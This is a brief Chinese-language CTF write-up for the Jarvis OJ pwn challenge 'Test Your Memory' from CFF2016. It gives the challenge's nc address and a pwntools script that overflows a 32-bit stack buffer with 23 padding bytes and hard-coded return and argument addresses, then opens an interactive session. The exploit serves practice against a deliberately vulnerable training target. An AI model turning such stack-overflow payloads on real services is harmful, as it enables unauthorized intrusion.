Test Your Memory

题目入口：

 

nc pwn2.jarvisoj.com 9876

 

题目来源：CFF2016

 

memory.838286edf4b832fd482d58ff1c217561

 

32位栈溢出

exp如下：

from pwn import *

#io = process('./memory')
#io = gdb.debug('./memory', 'b *0x80485D0')
#context.log_level = 'DEBUG'
io = connect('pwn2.jarvisoj.com', 9876)

io.recvuntil("cff flag go go go ...")
payload = b'a' * 23 + p32(0x80485BD) + p32(0x80487E0) + p32(0x80487E0)
io.sendline(payload)

io.interactive()